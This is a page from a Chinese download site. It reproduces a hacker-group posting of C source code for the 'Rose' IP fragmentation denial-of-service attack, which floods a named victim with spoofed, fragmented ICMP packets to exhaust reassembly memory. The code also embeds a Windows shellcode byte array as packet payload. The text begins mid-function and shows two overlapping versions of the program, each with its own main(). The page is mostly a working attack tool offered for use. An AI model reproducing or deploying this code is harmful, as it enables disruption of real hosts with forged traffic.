⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ip碎片攻击源代码 [www_cnxhacker_com].htm

📁 一个由igmp攻击修改而来的icmp数据包攻击代码
💻 HTM
📖 第 1 页 / 共 3 页
字号:
                  255;<BR><BR>for(i = sizeof(struct iphdr) + sizeof(struct 
                  icmphdr) + 1;<BR>i &lt; SMALLICMP; i++){ <BR>pkt[i] = random() 
                  % 255;<BR><BR>}<BR><BR>if((s = socket(AF_INET, SOCK_RAW, 
                  IPPROTO_RAW)) &lt; 0) { <BR>perror("error: 
                  socket()");<BR>return 1;<BR>}<BR><BR>printf(" Sending out 
                  series of small 
                  fragments\r\n");<BR><BR>for(i=0;i&lt;NUM_PACKETS;i++){ 
                  <BR>ip-&gt;id = htons(idList[i]);<BR>for (j=0; j&lt;8170; j += 
                  SMALLICMP + 1){ <BR>ip-&gt;frag_off = htons(j | 
                  IP_MF);<BR>if(sendto(s, pkt,<BR>SMALLICMP + sizeof(struct 
                  iphdr), <BR>0, (struct sockaddr *)victim,<BR>sizeof(struct 
                  sockaddr_in)) == -1) { <BR>perror("error: 
                  sendto()");<BR>return 1;<BR>}<BR>}<BR>}<BR><BR>printf(" 
                  Sending out tailing fragments\r\n");<BR>/* big frag at end... 
                  */<BR>/* sending a large amount of the end fragments over 
                  and<BR>over. This is definitely overkill, but seems to work 
                  */<BR>for (j=0;j&lt;9999*NUM_PACKETS;j++){ 
                  <BR>for(i=0;i&lt;NUM_PACKETS;i++){ 
                  <BR>ip-&gt;id=htons(idList[i]);<BR>ip-&gt;frag_off = 
                  htons(8190|IP_MF);<BR>//ip-&gt;frag_off = htons(8100 | 
                  IP_MF);<BR>sendto(s, pkt, sizeof(struct iphdr) + SMALLICMP, 
                  <BR>0, (struct sockaddr *)victim, <BR>sizeof(struct 
                  sockaddr_in));<BR>/* if you do sleep, CPU usage goes way down. 
                  But memory usage<BR>still creeps upward */<BR>//usleep(100); 
                  //sleep after every trailing packet<BR>}<BR>usleep(100); 
                  //sleep after every series of 
                  NUM_PACKETS<BR>}<BR>free(pkt);<BR>close(s);<BR>return 
                  0;<BR>}<BR><BR>int main(int argc, char *argv[])<BR>{ 
                  <BR>struct sockaddr_in victim;<BR>struct hostent 
                  *he;<BR>unsigned long source;<BR>int 
                  i;<BR><BR>srandom(time(NULL));<BR><BR>if(argc &lt; 
                  2)<BR>usage(argv[0]);<BR><BR>if((he = gethostbyname(argv[1])) 
                  == NULL) { <BR>herror(argv[1]);<BR>exit(1);<BR>}<BR><BR>if 
                  (argc &gt; 2){ <BR>source = inet_addr(argv[2]);<BR>}<BR>else { 
                  <BR>source = 
                  randip();<BR>}<BR><BR>memcpy(&amp;victim.sin_addr.s_addr, 
                  he-&gt;h_addr, he-&gt;h_length);<BR>victim.sin_port = 
                  htons(0);<BR>victim.sin_family = 
                  PF_INET;<BR><BR>printf("Sending ICMP fragments: 
                  \r\n");<BR>fflush(stdout);<BR>fire_away(&amp;victim, 
                  source);<BR>if (argc &lt; 3){ <BR>source = 
                  randip();<BR>}<BR><BR>fflush(stdout);<BR>printf("\nDONE\n");<BR>fflush(stdout);<BR>}<BR><BR><BR>/***<BR>ROSE 
                  attack (chuck@lemure.net)<BR><BR>Discovered 
                  by:<BR>gandalf@digital.net<BR><BR>code modified from large 
                  IGMP attack by:<BR>Kox by Coolio 
                  (coolio@k-r4d.com)<BR><BR><BR>Sends out first and last ICMP 
                  packet echo request.<BR>Reportedly works for TCP / UDP as 
                  well, since this is<BR>a IP layer attack.<BR><BR>Eats up all 
                  available packets for fragmentation 
                  reassembly.<BR><BR><BR>***/<BR><BR>/* just a thousand kills 
                  win XP */<BR><BR>#define NUM_PACKETS 1000<BR><BR><BR>#include 
                  &lt;stdio.h&gt;<BR>#include &lt;unistd.h&gt;<BR>#include 
                  &lt;stdlib.h&gt;<BR>#include &lt;netdb.h&gt;<BR>#include 
                  &lt;string.h&gt;<BR>#include &lt;errno.h&gt;<BR>#include 
                  &lt;pwd.h&gt;<BR>#include &lt;time.h&gt;<BR>#include 
                  &lt;sys/types.h&gt;<BR>#include 
                  &lt;sys/socket.h&gt;<BR>#include 
                  &lt;sys/utsname.h&gt;<BR>#include 
                  &lt;netinet/in.h&gt;<BR>#include 
                  &lt;netinet/ip.h&gt;<BR>#include 
                  &lt;netinet/ip_icmp.h&gt;<BR><BR>#include 
                  &lt;netinet/ip_icmp.h&gt;<BR><BR>/* Figured I try sending some 
                  shell code for my random payload...<BR>doesn't do 
                  anything<BR>*/<BR><BR>char code[] 
                  =<BR>"\xe8\x38\x00\x00\x00\x43\x4d\x44\x00\xe7\x79\xc6\x79\xe5\x49\x86"<BR>"\x49\xa4\xad\x2e\xe9\xa4\x1a\x70\xc7\xd9\x09\xf5\xad\xcb\xed\xfc"<BR>"\x3b\x8e\x4e\x0e\xec\x7e\xd8\xe2\x73\xad\xd9\x05\xce\x72\xfe\xb3"<BR>"\x16\x57\x53\x32\x5f\x33\x32\x2e\x44\x4c\x4c\x00\x01\x5b\x54\x89"<BR>"\xe5\x89\x5d\x00\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"<BR>"\xad\x8b\x58\x08\xeb\x0c\x8d\x57\x2c\x51\x52\xff\xd0\x89\xc3\x59"<BR>"\xeb\x10\x6a\x08\x5e\x01\xee\x6a\x0a\x59\x8b\x7d\x00\x80\xf9\x06"<BR>"\x74\xe4\x51\x53\xff\x34\x8f\xe8\x90\x00\x00\x00\x59\x89\x04\x8e"<BR>"\xe2\xeb\x31\xff\x66\x81\xec\x90\x01\x54\x68\x01\x01\x00\x00\xff"<BR>"\x55\x20\x57\x57\x57\x57\x47\x57\x47\x57\xff\x55\x1c\x89\xc3\x31"<BR>"\xff\x57\x57\x68\x02\x00\x22\x11\x89\xe6\x6a\x10\x56\x53\xff\x55"<BR>"\x18\x57\x53\xff\x55\x14\x57\x56\x53\xff\x55\x10\x89\xc2\x66\x81"<BR>"\xec\x54\x00\x8d\x3c\x24\x31\xc0\x6a\x15\x59\xf3\xab\x89\xd7\xc6"<BR>"\x44\x24\x10\x44\xfe\x44\x24\x3d\x89\x7c\x24\x48\x89\x7c\x24\x4c"<BR>"\x89\x7c\x24\x50\x8d\x44\x24\x10\x54\x50\x51\x51\x51\x41\x51\x49"<BR>"\x51\x51\xff\x75\x00\x51\xff\x55\x30\x89\xe1\x68\xff\xff\xff\xff"<BR>"\xff\x31\xff\x55\x2c\x57\xff\x55\x0c\xff\x55\x28\x53\x55\x56\x57"<BR>"\x8b\x6c\x24\x18\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18"<BR>"\x8b\x5a\x20\x01\xeb\xe3\x32\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc"<BR>"\x31\xc0\xac\x38\xe0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c"<BR>"\x24\x14\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c"<BR>"\x01\xeb\x8b\x04\x8b\x01\xe8\xeb\x02\x31\xc0\x89\xea\x5f\x5e\x5d"<BR>"\x5b\xc2\x08\x00";<BR><BR>void 
                  usage(char *arg)<BR>{ <BR>printf("Rose 
                  attack\n");<BR>printf("Usage: %s &lt;victim&gt; [source]\n", 
                  arg);<BR>printf("If source not specified, will send out from 
                  random ip's\n");<BR>exit(1);<BR>}<BR><BR><BR>unsigned int 
                  randip()<BR>{ <BR>struct hostent *he;<BR>struct sockaddr_in 
                  sin;<BR>char *buf = (char *)calloc(1, sizeof(char) * 
                  16);<BR><BR>sprintf(buf, 
                  "%d.%d.%d.%d",<BR>(random()%191)+23,<BR>(random()%253)+1,<BR>(random()%253)+1,<BR>(random()%253)+1); 
                  <BR><BR><BR>return inet_addr(buf);<BR><BR>}<BR><BR>unsigned 
                  short in_cksum(unsigned short *buh, int len)<BR>{ <BR>register 
                  long sum = 0;<BR>unsigned short oddbyte;<BR>register unsigned 
                  short answer;<BR><BR>while(len &gt; 1) { <BR>sum += 
                  *buh++;<BR>len -= 2;<BR>}<BR><BR>if(len == 1) { <BR>oddbyte = 
                  0;<BR>*((unsigned char *)&amp;oddbyte) = *(unsigned char 
                  *)buh;<BR>sum += oddbyte;<BR>}<BR><BR>sum = (sum &gt;&gt; 16) 
                  + (sum &amp; 0xFFFF);<BR>sum += (sum &gt;&gt; 16);<BR>answer = 
                  ~sum;<BR>return answer;<BR>}<BR><BR>int rose(struct 
                  sockaddr_in *victim, unsigned long src)<BR>{ <BR>int SMALLICMP 
                  = 1000;<BR>unsigned char *pkt;<BR>struct iphdr *ip;<BR>struct 
                  igmphdr *igmp;<BR>struct icmphdr *icmp_pkt;<BR>struct utsname 
                  *un;<BR>struct passwd *p;<BR><BR>int i, s,j;<BR>int id = 
                  (random() % 40000) + 500;<BR><BR>pkt = (unsigned char 
                  *)calloc(1, SMALLICMP);<BR>ip = (struct iphdr 
                  *)pkt;<BR>icmp_pkt = (struct icmphdr *)(pkt + sizeof(struct 
                  iphdr));<BR>ip-&gt;version = 4;<BR>ip-&gt;ihl = (sizeof *ip) / 
                  4;<BR>ip-&gt;ttl = 255;<BR>ip-&gt;tot_len = 
                  htons(SMALLICMP);<BR>ip-&gt;protocol = 1;<BR>ip-&gt;id = 
                  htons(id);<BR>ip-&gt;frag_off = htons(IP_MF);<BR>ip-&gt;saddr 
                  = src;<BR>ip-&gt;daddr = 
                  victim-&gt;sin_addr.s_addr;<BR>ip-&gt;check = 
                  in_cksum((unsigned short *)ip, sizeof(struct 
                  iphdr));<BR><BR>icmp_pkt-&gt;type = 
                  ICMP_ECHO;<BR>icmp_pkt-&gt;code = 0;<BR>icmp_pkt-&gt;checksum 
                  = 1000;<BR>icmp_pkt-&gt;un.echo.id = random() % 
                  255;<BR>icmp_pkt-&gt;un.echo.sequence = random() % 
                  255;<BR><BR>for(i = sizeof(struct iphdr) + sizeof(struct 
                  icmphdr) + 1;<BR>i &lt; SMALLICMP; i++){ <BR>//pkt[i] = 
                  random() % 255;<BR>pkt[i] = '\x00';<BR>}<BR>j=0;<BR>for 
                  (i=sizeof(struct iphdr) + sizeof(struct icmphdr) + 500;<BR>i 
                  &lt; sizeof(struct iphdr) + sizeof(struct icmphdr) + 500 + 
                  356; <BR>i++){ <BR>pkt[i] = code[j];<BR>j++;<BR>}<BR>if((s = 
                  socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) { 
                  <BR>perror("error: socket()");<BR>return 
                  1;<BR>}<BR><BR>if(sendto(s, pkt, SMALLICMP, 0, (struct 
                  sockaddr *)victim,<BR>sizeof(struct sockaddr_in)) == -1) { 
                  <BR>perror("error: sendto()");<BR>return 1;<BR>}<BR><BR>/* big 
                  frag at end... */<BR><BR>ip-&gt;frag_off = 
                  htons(8100);<BR>//ip-&gt;frag_off = htons(8100 | 
                  IP_MF);<BR>sendto(s, pkt, SMALLICMP, 0, (struct sockaddr 
                  *)victim, <BR>sizeof(struct 
                  sockaddr_in));<BR><BR>free(pkt);<BR>close(s);<BR>usleep(1000);<BR>return 
                  0;<BR>}<BR><BR>int main(int argc, char *argv[])<BR>{ 
                  <BR>struct sockaddr_in victim;<BR>struct hostent 
                  *he;<BR>unsigned long source;<BR>int 
                  i;<BR><BR>srandom(time(NULL));<BR><BR>if(argc &lt; 
                  2)<BR>usage(argv[0]);<BR><BR>if((he = gethostbyname(argv[1])) 
                  == NULL) { <BR>herror(argv[1]);<BR>exit(1);<BR>}<BR><BR>if 
                  (argc &gt; 2){ <BR>source = inet_addr(argv[2]);<BR>}<BR>else { 
                  <BR>source = 
                  randip();<BR>}<BR><BR>memcpy(&amp;victim.sin_addr.s_addr, 
                  he-&gt;h_addr, he-&gt;h_length);<BR>victim.sin_port = 
                  htons(0);<BR>victim.sin_family = 
                  PF_INET;<BR><BR>printf("Sending ICMP fragments: 
                  ");<BR>fflush(stdout);<BR>for(i = 0; i &lt; NUM_PACKETS; 
                  i++)<BR>{ <BR>rose(&amp;victim, source);<BR>if (argc &lt; 3){ 
                  <BR>source = randip();<BR>}<BR>printf("%d\n", 
                  i);<BR>fflush(stdout);<BR>}<BR>printf("\nDONE\n");<BR>fflush(stdout);<BR><BR><IMG 
                  height=1 src="IP碎片攻击源代码  [WwW_CnXHacker_CoM].files/hits.htm" 
                  width=1 border=0> <SPAN class=style1>转贴于 『中国X黑客小组』 
                  WwW.CnXHacker.Net 作者:未知</SPAN></TD></TR>
              <TR>
                <TD>
              <TR></TD></TR>
              <TR>
                <TD width="100%" bgColor=#c0c0c0 height=1></TD></TR>
              <TR>
                <TD>
                  <DIV align=right>责任编辑:<A 
                  onclick='window.open("/manage/user.asp?user=","","width=400,height=150,resizable=yes,scrollbars=yes,status=yes,toolbar=no,menubar=no,location=no")' 
                  href="javascript:"></A>
                  <SCRIPT language=javascript 
                  src="IP碎片攻击源代码  [WwW_CnXHacker_CoM].files/footer.js"></SCRIPT>
                  </DIV></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></DIV>
<DIV align=center></DIV>
<TABLE height=22 cellSpacing=0 cellPadding=0 width=760 align=center 
bgColor=#748fa9 background="IP碎片攻击源代码  [WwW_CnXHacker_CoM].files/bottomBG.gif" 
border=0>
  <TBODY>
  <TR>
    <TD background="IP碎片攻击源代码  [WwW_CnXHacker_CoM].files/hbline.gif" 
    bgColor=#ffffff colSpan=2 border="0"><IMG height=1 
      src="IP碎片攻击源代码  [WwW_CnXHacker_CoM].files/a.gif" width=760></TD></TR>
  <TR>
    <TD width=580 height=22><A 
      href="http://www.cnxhacker.com/info/about.html">关于我们</A> - <A 
      href="http://www.cnxhacker.com/info/Announce.html">版权声明</A> - <A 
      href="http://www.cnxhacker.com/info/HELP.html">帮助(?)</A> - <A 
      href="http://www.cnxhacker.com/info/AD.html">广告服务</A> - <A 
      href="http://www.cnxhacker.com/info/contact.html">联系我们</A> - <A 
      href="http://www.cnxhacker.com/info/friendlink.html">友情链接</A> - <A 
      href="http://www.cnxhacker.com/info/userreg.html">用户注册</A></TD>
    <TD width=180 height=22><FONT title="WwW.CnXHacker.CoM IceRiver Studio" 
      style="FONT-SIZE: 10px; FONT-FAMILY: Arial,Sans-serif" 
      color=#333333>Powered by ICE RIVER - STUDIO</FONT> </TD></TR>
  <TR>
    <TD bgColor=#000000 colSpan=2><IMG height=1 
      src="IP碎片攻击源代码  [WwW_CnXHacker_CoM].files/a.gif" 
width=760></TD></TR></TBODY></TABLE>
<TABLE height=15 cellSpacing=0 cellPadding=0 width=760 align=center border=0>
  <TBODY>
  <TR>
    <TD align=right width=120 bgColor=#3f4e5c height=15><FONT 
      style="FONT-SIZE: 10px" color=#ffffff><B>&raquo;</B> <A 
      href="http://www.cnxhacker.com/article/show/1058.html#top"><B><FONT 
      face=Verdana,Sans-serif; color=#ffffff>CnXHacker.CoM</FONT></B></A></FONT> 
    </TD>
    <TD align=right width=15 height=15><IMG height=16 
      src="IP碎片攻击源代码  [WwW_CnXHacker_CoM].files/img_bottom.gif" width=40 
      border=0></TD>
    <TD width=* height=16><FONT title="中国X黑客小组&#8482; 版权所有&copy; WwW.CnXHacker.CoM" 
      style="FONT-SIZE: 9px; COLOR: #333333" face=Verdana, helvetica,arial, 
      sans-serif>&copy; CopyRight 2002-2006, CnXHacker.CoM&#8482;, Inc. All Rights 
      Reserved. </FONT></TD>
    <TD align=right></TD></TR></TBODY></TABLE><!--
┌────WWW.CnXHacker──┐
│   ICE RIVER - STUDIO    │
└────────── .COM┘
--></BODY></HTML>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -